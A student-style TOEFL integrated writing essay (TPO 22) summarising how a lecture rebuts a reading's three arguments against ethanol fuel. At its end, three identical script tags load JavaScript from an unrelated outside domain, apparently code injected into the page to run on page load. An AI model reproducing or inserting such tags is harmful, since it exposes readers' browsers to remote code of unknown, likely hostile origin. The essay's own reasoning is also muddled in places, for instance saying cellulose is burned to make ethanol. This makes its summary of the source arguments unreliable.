TPO 22 Integrated Writing Task

The reading and the lecture are both contradicting each other, in terms of utilizing ethanol as a fuel resource. More specifically, the author of the article presents three theories to prove that using ethanol as an alternative to gasoline is not beneficial. However, the lecturer casts doubt about the hypothesis presented in the article and provides some reasons to refute them.

According to the article, the first dispute focuses on the fact that ethanol is as harmful as gasoline as it released carbon dioxide into the climate while burning for fuel. Nonetheless, the professor negates this idea given in the passage. Furthermore, he points out that people would cultivate more plants in order to earn more ethanol from them. Ultimately, growing more trees would absorb the carbon dioxide from the atmosphere, and further, mitigate the harmful effect of ethanol.Thus, ethanol use can be advantageous.

Moreover, another debate highlights that it will become tough to feed enough food crops to animals and birds since a substantial number of trees are required to cut down in order to produce enough ethanol. Nevertheless, the speaker negates this argument by stating that cellulose needs to be burned to produce ethanol which is a part of a plant, but in reality, animals do not consume this part of the plant. Therefore, animals will not face any trouble in getting enough food sources.

Finally, the text explains that price of the ethanol would be abruptly increased if the government will stop providing subsidies to produce ethanol. On the contrary, the penman rebuts this theory and describes that once the ethanol demand increases, the price of the ethanol production would not affect certainly even though the government will stop providing subsidies on it. Because producing more ethanol on demand would further reduce the price of ethanol at least by 40%.
<script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script>